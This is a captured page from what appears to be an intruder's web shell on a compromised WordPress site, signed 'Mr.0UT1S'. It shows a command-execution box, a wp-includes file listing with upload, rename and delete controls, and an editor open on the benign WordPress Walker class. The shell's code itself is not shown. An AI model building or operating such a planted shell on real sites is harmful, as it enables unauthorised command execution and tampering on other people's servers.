home
/
aioutajg
/
unblockedgames247.com
/
wp-includes
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] ID3
N/A
[DIR] IXR
N/A
[DIR] PHPMailer
N/A
[DIR] Requests
N/A
[DIR] SimplePie
N/A
[DIR] Text
N/A
[DIR] assets
N/A
[DIR] block-bindings
N/A
[DIR] block-patterns
N/A
[DIR] block-supports
N/A
[DIR] blocks
N/A
[DIR] certificates
N/A
[DIR] css
N/A
[DIR] customize
N/A
[DIR] fonts
N/A
[DIR] html-api
N/A
[DIR] images
N/A
[DIR] interactivity-api
N/A
[DIR] js
N/A
[DIR] l10n
N/A
[DIR] php-compat
N/A
[DIR] pomo
N/A
[DIR] rest-api
N/A
[DIR] sitemaps
N/A
[DIR] sodium_compat
N/A
[DIR] style-engine
N/A
[DIR] theme-compat
N/A
[DIR] widgets
N/A
admin-bar.php
36.09 KB
Rename
Delete
atomlib.php
11.79 KB
Rename
Delete
author-template.php
18.51 KB
Rename
Delete
block-bindings.php
5.46 KB
Rename
Delete
block-editor.php
28.12 KB
Rename
Delete
block-i18n.json
316 bytes
Rename
Delete
block-patterns.php
12.90 KB
Rename
Delete
block-template-utils.php
60.46 KB
Rename
Delete
block-template.php
15.00 KB
Rename
Delete
blocks.php
108.29 KB
Rename
Delete
bookmark-template.php
12.47 KB
Rename
Delete
bookmark.php
15.07 KB
Rename
Delete
cache-compat.php
5.83 KB
Rename
Delete
cache.php
13.16 KB
Rename
Delete
canonical.php
33.71 KB
Rename
Delete
capabilities.php
41.72 KB
Rename
Delete
category-template.php
55.67 KB
Rename
Delete
category.php
12.53 KB
Rename
Delete
class-IXR.php
2.55 KB
Rename
Delete
class-avif-info.php
28.92 KB
Rename
Delete
class-feed.php
539 bytes
Rename
Delete
class-http.php
367 bytes
Rename
Delete
class-json.php
42.66 KB
Rename
Delete
class-oembed.php
401 bytes
Rename
Delete
class-phpass.php
6.61 KB
Rename
Delete
class-phpmailer.php
664 bytes
Rename
Delete
class-pop3.php
20.63 KB
Rename
Delete
class-requests.php
2.18 KB
Rename
Delete
class-simplepie.php
453 bytes
Rename
Delete
class-smtp.php
457 bytes
Rename
Delete
class-snoopy.php
36.83 KB
Rename
Delete
class-walker-category-dropdown.php
2.41 KB
Rename
Delete
class-walker-category.php
8.28 KB
Rename
Delete
class-walker-comment.php
13.89 KB
Rename
Delete
class-walker-nav-menu.php
11.76 KB
Rename
Delete
class-walker-page-dropdown.php
2.65 KB
Rename
Delete
class-walker-page.php
7.43 KB
Rename
Delete
class-wp-admin-bar.php
17.46 KB
Rename
Delete
class-wp-ajax-response.php
5.14 KB
Rename
Delete
class-wp-application-passwords.php
16.70 KB
Rename
Delete
class-wp-block-bindings-registry.php
8.26 KB
Rename
Delete
class-wp-block-bindings-source.php
2.92 KB
Rename
Delete
class-wp-block-editor-context.php
1.32 KB
Rename
Delete
class-wp-block-list.php
4.65 KB
Rename
Delete
class-wp-block-metadata-registry.php
11.62 KB
Rename
Delete
class-wp-block-parser-block.php
2.50 KB
Rename
Delete
class-wp-block-parser-frame.php
1.97 KB
Rename
Delete
class-wp-block-parser.php
11.26 KB
Rename
Delete
class-wp-block-pattern-categories-registry.php
5.25 KB
Rename
Delete
class-wp-block-patterns-registry.php
10.53 KB
Rename
Delete
class-wp-block-styles-registry.php
6.25 KB
Rename
Delete
class-wp-block-supports.php
5.49 KB
Rename
Delete
class-wp-block-template.php
1.99 KB
Rename
Delete
class-wp-block-templates-registry.php
7.06 KB
Rename
Delete
class-wp-block-type-registry.php
4.90 KB
Rename
Delete
class-wp-block-type.php
16.86 KB
Rename
Delete
class-wp-block.php
22.50 KB
Rename
Delete
class-wp-classic-to-block-menu-converter.php
3.99 KB
Rename
Delete
class-wp-comment-query.php
47.26 KB
Rename
Delete
class-wp-comment.php
9.22 KB
Rename
Delete
class-wp-customize-control.php
25.25 KB
Rename
Delete
class-wp-customize-manager.php
197.84 KB
Rename
Delete
class-wp-customize-nav-menus.php
56.07 KB
Rename
Delete
class-wp-customize-panel.php
10.46 KB
Rename
Delete
class-wp-customize-section.php
10.95 KB
Rename
Delete
class-wp-customize-setting.php
29.26 KB
Rename
Delete
class-wp-customize-widgets.php
70.52 KB
Rename
Delete
class-wp-date-query.php
34.89 KB
Rename
Delete
class-wp-dependencies.php
14.78 KB
Rename
Delete
class-wp-dependency.php
2.57 KB
Rename
Delete
class-wp-duotone.php
39.83 KB
Rename
Delete
class-wp-editor.php
70.64 KB
Rename
Delete
class-wp-embed.php
15.56 KB
Rename
Delete
class-wp-error.php
7.33 KB
Rename
Delete
class-wp-exception.php
253 bytes
Rename
Delete
class-wp-fatal-error-handler.php
7.96 KB
Rename
Delete
class-wp-feed-cache-transient.php
3.10 KB
Rename
Delete
class-wp-feed-cache.php
969 bytes
Rename
Delete
class-wp-hook.php
15.63 KB
Rename
Delete
class-wp-http-cookie.php
7.22 KB
Rename
Delete
class-wp-http-curl.php
12.25 KB
Rename
Delete
class-wp-http-encoding.php
6.53 KB
Rename
Delete
class-wp-http-ixr-client.php
3.42 KB
Rename
Delete
class-wp-http-proxy.php
5.84 KB
Rename
Delete
class-wp-http-requests-hooks.php
1.97 KB
Rename
Delete
class-wp-http-requests-response.php
4.30 KB
Rename
Delete
class-wp-http-response.php
2.91 KB
Rename
Delete
class-wp-http-streams.php
16.46 KB
Rename
Delete
class-wp-http.php
40.60 KB
Rename
Delete
class-wp-image-editor-gd.php
19.69 KB
Rename
Delete
class-wp-image-editor-imagick.php
33.92 KB
Rename
Delete
class-wp-image-editor.php
17.12 KB
Rename
Delete
class-wp-list-util.php
7.27 KB
Rename
Delete
class-wp-locale-switcher.php
6.62 KB
Rename
Delete
class-wp-locale.php
16.49 KB
Rename
Delete
class-wp-matchesmapregex.php
1.79 KB
Rename
Delete
class-wp-meta-query.php
29.82 KB
Rename
Delete
class-wp-metadata-lazyloader.php
6.67 KB
Rename
Delete
class-wp-navigation-fallback.php
9.00 KB
Rename
Delete
class-wp-network-query.php
19.39 KB
Rename
Delete
class-wp-network.php
12.01 KB
Rename
Delete
class-wp-object-cache.php
17.11 KB
Rename
Delete
class-wp-oembed-controller.php
6.74 KB
Rename
Delete
class-wp-oembed.php
30.91 KB
Rename
Delete
class-wp-paused-extensions-storage.php
4.99 KB
Rename
Delete
class-wp-phpmailer.php
3.71 KB
Rename
Delete
class-wp-plugin-dependencies.php
24.72 KB
Rename
Delete
class-wp-post-type.php
29.96 KB
Rename
Delete
class-wp-post.php
6.34 KB
Rename
Delete
class-wp-query.php
154.32 KB
Rename
Delete
class-wp-recovery-mode-cookie-service.php
6.72 KB
Rename
Delete
class-wp-recovery-mode-email-service.php
10.92 KB
Rename
Delete
class-wp-recovery-mode-key-service.php
4.77 KB
Rename
Delete
class-wp-recovery-mode-link-service.php
3.38 KB
Rename
Delete
class-wp-recovery-mode.php
11.18 KB
Rename
Delete
class-wp-rewrite.php
62.20 KB
Rename
Delete
class-wp-role.php
2.46 KB
Rename
Delete
class-wp-roles.php
8.38 KB
Rename
Delete
class-wp-script-modules.php
19.01 KB
Rename
Delete
class-wp-scripts.php
27.68 KB
Rename
Delete
class-wp-session-tokens.php
7.15 KB
Rename
Delete
class-wp-simplepie-file.php
3.33 KB
Rename
Delete
class-wp-simplepie-sanitize-kses.php
1.87 KB
Rename
Delete
class-wp-site-query.php
30.88 KB
Rename
Delete
class-wp-site.php
7.28 KB
Rename
Delete
class-wp-speculation-rules.php
7.35 KB
Rename
Delete
class-wp-styles.php
10.75 KB
Rename
Delete
class-wp-tax-query.php
19.10 KB
Rename
Delete
class-wp-taxonomy.php
18.12 KB
Rename
Delete
class-wp-term-query.php
39.91 KB
Rename
Delete
class-wp-term.php
5.17 KB
Rename
Delete
class-wp-text-diff-renderer-inline.php
979 bytes
Rename
Delete
class-wp-text-diff-renderer-table.php
18.44 KB
Rename
Delete
class-wp-textdomain-registry.php
10.24 KB
Rename
Delete
class-wp-theme-json-data.php
1.77 KB
Rename
Delete
class-wp-theme-json-resolver.php
34.90 KB
Rename
Delete
class-wp-theme-json-schema.php
7.19 KB
Rename
Delete
class-wp-theme-json.php
159.71 KB
Rename
Delete
class-wp-theme.php
64.27 KB
Rename
Delete
class-wp-token-map.php
27.95 KB
Rename
Delete
class-wp-url-pattern-prefixer.php
4.69 KB
Rename
Delete
class-wp-user-meta-session-tokens.php
2.92 KB
Rename
Delete
class-wp-user-query.php
42.63 KB
Rename
Delete
class-wp-user-request.php
2.25 KB
Rename
Delete
class-wp-user.php
22.46 KB
Rename
Delete
class-wp-walker.php
13.01 KB
Rename
Delete
class-wp-widget-factory.php
3.27 KB
Rename
Delete
class-wp-widget.php
18.00 KB
Rename
Delete
class-wp-xmlrpc-server.php
210.39 KB
Rename
Delete
class-wp.php
25.70 KB
Rename
Delete
class-wpdb.php
115.51 KB
Rename
Delete
class.wp-dependencies.php
373 bytes
Rename
Delete
class.wp-scripts.php
343 bytes
Rename
Delete
class.wp-styles.php
338 bytes
Rename
Delete
comment-template.php
100.47 KB
Rename
Delete
comment.php
128.46 KB
Rename
Delete
compat.php
15.99 KB
Rename
Delete
cron.php
41.66 KB
Rename
Delete
date.php
400 bytes
Rename
Delete
default-constants.php
11.10 KB
Rename
Delete
default-filters.php
35.84 KB
Rename
Delete
default-widgets.php
2.24 KB
Rename
Delete
deprecated.php
187.07 KB
Rename
Delete
embed-template.php
338 bytes
Rename
Delete
embed.php
37.28 KB
Rename
Delete
error-protection.php
4.02 KB
Rename
Delete
feed-atom-comments.php
5.38 KB
Rename
Delete
feed-atom.php
3.05 KB
Rename
Delete
feed-rdf.php
2.61 KB
Rename
Delete
feed-rss.php
1.16 KB
Rename
Delete
feed-rss2-comments.php
4.04 KB
Rename
Delete
feed-rss2.php
3.71 KB
Rename
Delete
feed.php
22.86 KB
Rename
Delete
fonts.php
9.52 KB
Rename
Delete
formatting.php
334.24 KB
Rename
Delete
functions.php
280.81 KB
Rename
Delete
functions.wp-scripts.php
14.22 KB
Rename
Delete
functions.wp-styles.php
8.38 KB
Rename
Delete
general-template.php
168.46 KB
Rename
Delete
global-styles-and-settings.php
20.76 KB
Rename
Delete
http.php
24.72 KB
Rename
Delete
https-detection.php
5.72 KB
Rename
Delete
https-migration.php
4.63 KB
Rename
Delete
kses.php
72.73 KB
Rename
Delete
l10n.php
66.92 KB
Rename
Delete
link-template.php
154.10 KB
Rename
Delete
load.php
55.12 KB
Rename
Delete
locale.php
162 bytes
Rename
Delete
media-template.php
61.58 KB
Rename
Delete
media.php
215.12 KB
Rename
Delete
meta.php
63.71 KB
Rename
Delete
ms-blogs.php
25.24 KB
Rename
Delete
ms-default-constants.php
4.81 KB
Rename
Delete
ms-default-filters.php
6.48 KB
Rename
Delete
ms-deprecated.php
21.25 KB
Rename
Delete
ms-files.php
2.71 KB
Rename
Delete
ms-functions.php
89.44 KB
Rename
Delete
ms-load.php
19.42 KB
Rename
Delete
ms-network.php
3.69 KB
Rename
Delete
ms-settings.php
4.10 KB
Rename
Delete
ms-site.php
40.35 KB
Rename
Delete
nav-menu-template.php
25.38 KB
Rename
Delete
nav-menu.php
43.33 KB
Rename
Delete
option.php
100.65 KB
Rename
Delete
pluggable-deprecated.php
6.18 KB
Rename
Delete
pluggable.php
119.82 KB
Rename
Delete
plugin.php
34.63 KB
Rename
Delete
post-formats.php
6.94 KB
Rename
Delete
post-template.php
67.04 KB
Rename
Delete
post-thumbnail-template.php
10.62 KB
Rename
Delete
post.php
284.88 KB
Rename
Delete
query.php
36.17 KB
Rename
Delete
registration-functions.php
200 bytes
Rename
Delete
registration.php
200 bytes
Rename
Delete
rest-api.php
97.91 KB
Rename
Delete
revision.php
30.02 KB
Rename
Delete
rewrite.php
19.08 KB
Rename
Delete
robots-template.php
5.06 KB
Rename
Delete
rss-functions.php
255 bytes
Rename
Delete
rss.php
22.57 KB
Rename
Delete
script-loader.php
129.50 KB
Rename
Delete
script-modules.php
7.53 KB
Rename
Delete
session.php
258 bytes
Rename
Delete
shortcodes.php
23.49 KB
Rename
Delete
sitemaps.php
3.16 KB
Rename
Delete
speculative-loading.php
8.36 KB
Rename
Delete
spl-autoload-compat.php
441 bytes
Rename
Delete
style-engine.php
7.39 KB
Rename
Delete
taxonomy.php
172.10 KB
Rename
Delete
template-canvas.php
544 bytes
Rename
Delete
template-loader.php
2.94 KB
Rename
Delete
template.php
23.59 KB
Rename
Delete
theme-i18n.json
1.49 KB
Rename
Delete
theme-previews.php
2.77 KB
Rename
Delete
theme-templates.php
6.09 KB
Rename
Delete
theme.json
8.50 KB
Rename
Delete
theme.php
131.16 KB
Rename
Delete
update.php
36.62 KB
Rename
Delete
user.php
171.70 KB
Rename
Delete
vars.php
6.41 KB
Rename
Delete
version.php
1.06 KB
Rename
Delete
widgets.php
69.06 KB
Rename
Delete
wp-db.php
445 bytes
Rename
Delete
wp-diff.php
799 bytes
Rename
Delete
<?php /** * A class for displaying various tree-like structures. * * Extend the Walker class to use it, see examples below. Child classes * do not need to implement all of the abstract methods in the class. The child * only needs to implement the methods that are needed. * * @since 2.1.0 * * @package WordPress * @abstract */ #[AllowDynamicProperties] class Walker { /** * What the class handles. * * @since 2.1.0 * @var string */ public $tree_type; /** * DB fields to use. * * @since 2.1.0 * @var string[] */ public $db_fields; /** * Max number of pages walked by the paged walker. * * @since 2.7.0 * @var int */ public $max_pages = 1; /** * Whether the current element has children or not. * * To be used in start_el(). * * @since 4.0.0 * @var bool */ public $has_children; /** * Starts the list before the elements are added. * * The $args parameter holds additional values that may be used with the child * class methods. This method is called at the start of the output list. * * @since 2.1.0 * @abstract * * @param string $output Used to append additional content (passed by reference). * @param int $depth Depth of the item. * @param array $args An array of additional arguments. */ public function start_lvl( &$output, $depth = 0, $args = array() ) {} /** * Ends the list of after the elements are added. * * The $args parameter holds additional values that may be used with the child * class methods. This method finishes the list at the end of output of the elements. * * @since 2.1.0 * @abstract * * @param string $output Used to append additional content (passed by reference). * @param int $depth Depth of the item. * @param array $args An array of additional arguments. */ public function end_lvl( &$output, $depth = 0, $args = array() ) {} /** * Starts the element output. * * The $args parameter holds additional values that may be used with the child * class methods. Also includes the element output. * * @since 2.1.0 * @since 5.9.0 Renamed `$object` (a PHP reserved keyword) to `$data_object` for PHP 8 named parameter support. * @abstract * * @param string $output Used to append additional content (passed by reference). * @param object $data_object The data object. * @param int $depth Depth of the item. * @param array $args An array of additional arguments. * @param int $current_object_id Optional. ID of the current item. Default 0. */ public function start_el( &$output, $data_object, $depth = 0, $args = array(), $current_object_id = 0 ) {} /** * Ends the element output, if needed. * * The $args parameter holds additional values that may be used with the child class methods. * * @since 2.1.0 * @since 5.9.0 Renamed `$object` (a PHP reserved keyword) to `$data_object` for PHP 8 named parameter support. * @abstract * * @param string $output Used to append additional content (passed by reference). * @param object $data_object The data object. * @param int $depth Depth of the item. * @param array $args An array of additional arguments. */ public function end_el( &$output, $data_object, $depth = 0, $args = array() ) {} /** * Traverses elements to create list from elements. * * Display one element if the element doesn't have any children otherwise, * display the element and its children. Will only traverse up to the max * depth and no ignore elements under that depth. It is possible to set the * max depth to include all depths, see walk() method. * * This method should not be called directly, use the walk() method instead. * * @since 2.5.0 * * @param object $element Data object. * @param array $children_elements List of elements to continue traversing (passed by reference). * @param int $max_depth Max depth to traverse. * @param int $depth Depth of current element. * @param array $args An array of arguments. * @param string $output Used to append additional content (passed by reference). */ public function display_element( $element, &$children_elements, $max_depth, $depth, $args, &$output ) { if ( ! $element ) { return; } $max_depth = (int) $max_depth; $depth = (int) $depth; $id_field = $this->db_fields['id']; $id = $element->$id_field; // Display this element. $this->has_children = ! empty( $children_elements[ $id ] ); if ( isset( $args[0] ) && is_array( $args[0] ) ) { $args[0]['has_children'] = $this->has_children; // Back-compat. } $this->start_el( $output, $element, $depth, ...array_values( $args ) ); // Descend only when the depth is right and there are children for this element. if ( ( 0 === $max_depth || $max_depth > $depth + 1 ) && isset( $children_elements[ $id ] ) ) { foreach ( $children_elements[ $id ] as $child ) { if ( ! isset( $newlevel ) ) { $newlevel = true; // Start the child delimiter. $this->start_lvl( $output, $depth, ...array_values( $args ) ); } $this->display_element( $child, $children_elements, $max_depth, $depth + 1, $args, $output ); } unset( $children_elements[ $id ] ); } if ( isset( $newlevel ) && $newlevel ) { // End the child delimiter. $this->end_lvl( $output, $depth, ...array_values( $args ) ); } // End this element. $this->end_el( $output, $element, $depth, ...array_values( $args ) ); } /** * Displays array of elements hierarchically. * * Does not assume any existing order of elements. * * $max_depth = -1 means flatly display every element. * $max_depth = 0 means display all levels. * $max_depth > 0 specifies the number of display levels. * * @since 2.1.0 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @param array $elements An array of elements. * @param int $max_depth The maximum hierarchical depth. * @param mixed ...$args Optional additional arguments. * @return string The hierarchical item output. */ public function walk( $elements, $max_depth, ...$args ) { $output = ''; $max_depth = (int) $max_depth; // Invalid parameter or nothing to walk. if ( $max_depth < -1 || empty( $elements ) ) { return $output; } $parent_field = $this->db_fields['parent']; // Flat display. if ( -1 === $max_depth ) { $empty_array = array(); foreach ( $elements as $e ) { $this->display_element( $e, $empty_array, 1, 0, $args, $output ); } return $output; } /* * Need to display in hierarchical order. * Separate elements into two buckets: top level and children elements. * Children_elements is two dimensional array. Example: * Children_elements[10][] contains all sub-elements whose parent is 10. */ $top_level_elements = array(); $children_elements = array(); foreach ( $elements as $e ) { if ( empty( $e->$parent_field ) ) { $top_level_elements[] = $e; } else { $children_elements[ $e->$parent_field ][] = $e; } } /* * When none of the elements is top level. * Assume the first one must be root of the sub elements. */ if ( empty( $top_level_elements ) ) { $first = array_slice( $elements, 0, 1 ); $root = $first[0]; $top_level_elements = array(); $children_elements = array(); foreach ( $elements as $e ) { if ( $root->$parent_field === $e->$parent_field ) { $top_level_elements[] = $e; } else { $children_elements[ $e->$parent_field ][] = $e; } } } foreach ( $top_level_elements as $e ) { $this->display_element( $e, $children_elements, $max_depth, 0, $args, $output ); } /* * If we are displaying all levels, and remaining children_elements is not empty, * then we got orphans, which should be displayed regardless. */ if ( ( 0 === $max_depth ) && count( $children_elements ) > 0 ) { $empty_array = array(); foreach ( $children_elements as $orphans ) { foreach ( $orphans as $op ) { $this->display_element( $op, $empty_array, 1, 0, $args, $output ); } } } return $output; } /** * Produces a page of nested elements. * * Given an array of hierarchical elements, the maximum depth, a specific page number, * and number of elements per page, this function first determines all top level root elements * belonging to that page, then lists them and all of their children in hierarchical order. * * $max_depth = 0 means display all levels. * $max_depth > 0 specifies the number of display levels. * * @since 2.7.0 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @param array $elements An array of elements. * @param int $max_depth The maximum hierarchical depth. * @param int $page_num The specific page number, beginning with 1. * @param int $per_page Number of elements per page. * @param mixed ...$args Optional additional arguments. * @return string XHTML of the specified page of elements. */ public function paged_walk( $elements, $max_depth, $page_num, $per_page, ...$args ) { $output = ''; $max_depth = (int) $max_depth; if ( empty( $elements ) || $max_depth < -1 ) { return $output; } $parent_field = $this->db_fields['parent']; $count = -1; if ( -1 === $max_depth ) { $total_top = count( $elements ); } if ( $page_num < 1 || $per_page < 0 ) { // No paging. $paging = false; $start = 0; if ( -1 === $max_depth ) { $end = $total_top; } $this->max_pages = 1; } else { $paging = true; $start = ( (int) $page_num - 1 ) * (int) $per_page; $end = $start + $per_page; if ( -1 === $max_depth ) { $this->max_pages = (int) ceil( $total_top / $per_page ); } } // Flat display. if ( -1 === $max_depth ) { if ( ! empty( $args[0]['reverse_top_level'] ) ) { $elements = array_reverse( $elements ); $oldstart = $start; $start = $total_top - $end; $end = $total_top - $oldstart; } $empty_array = array(); foreach ( $elements as $e ) { ++$count; if ( $count < $start ) { continue; } if ( $count >= $end ) { break; } $this->display_element( $e, $empty_array, 1, 0, $args, $output ); } return $output; } /* * Separate elements into two buckets: top level and children elements. * Children_elements is two dimensional array, e.g. * $children_elements[10][] contains all sub-elements whose parent is 10. */ $top_level_elements = array(); $children_elements = array(); foreach ( $elements as $e ) { if ( empty( $e->$parent_field ) ) { $top_level_elements[] = $e; } else { $children_elements[ $e->$parent_field ][] = $e; } } $total_top = count( $top_level_elements ); if ( $paging ) { $this->max_pages = (int) ceil( $total_top / $per_page ); } else { $end = $total_top; } if ( ! empty( $args[0]['reverse_top_level'] ) ) { $top_level_elements = array_reverse( $top_level_elements ); $oldstart = $start; $start = $total_top - $end; $end = $total_top - $oldstart; } if ( ! empty( $args[0]['reverse_children'] ) ) { foreach ( $children_elements as $parent => $children ) { $children_elements[ $parent ] = array_reverse( $children ); } } foreach ( $top_level_elements as $e ) { ++$count; // For the last page, need to unset earlier children in order to keep track of orphans. if ( $end >= $total_top && $count < $start ) { $this->unset_children( $e, $children_elements ); } if ( $count < $start ) { continue; } if ( $count >= $end ) { break; } $this->display_element( $e, $children_elements, $max_depth, 0, $args, $output ); } if ( $end >= $total_top && count( $children_elements ) > 0 ) { $empty_array = array(); foreach ( $children_elements as $orphans ) { foreach ( $orphans as $op ) { $this->display_element( $op, $empty_array, 1, 0, $args, $output ); } } } return $output; } /** * Calculates the total number of root elements. * * @since 2.7.0 * * @param array $elements Elements to list. * @return int Number of root elements. */ public function get_number_of_root_elements( $elements ) { $num = 0; $parent_field = $this->db_fields['parent']; foreach ( $elements as $e ) { if ( empty( $e->$parent_field ) ) { ++$num; } } return $num; } /** * Unsets all the children for a given top level element. * * @since 2.7.0 * * @param object $element The top level element. * @param array $children_elements The children elements. */ public function unset_children( $element, &$children_elements ) { if ( ! $element || ! $children_elements ) { return; } $id_field = $this->db_fields['id']; $id = $element->$id_field; if ( ! empty( $children_elements[ $id ] ) && is_array( $children_elements[ $id ] ) ) { foreach ( (array) $children_elements[ $id ] as $child ) { $this->unset_children( $child, $children_elements ); } } unset( $children_elements[ $id ] ); } }
Save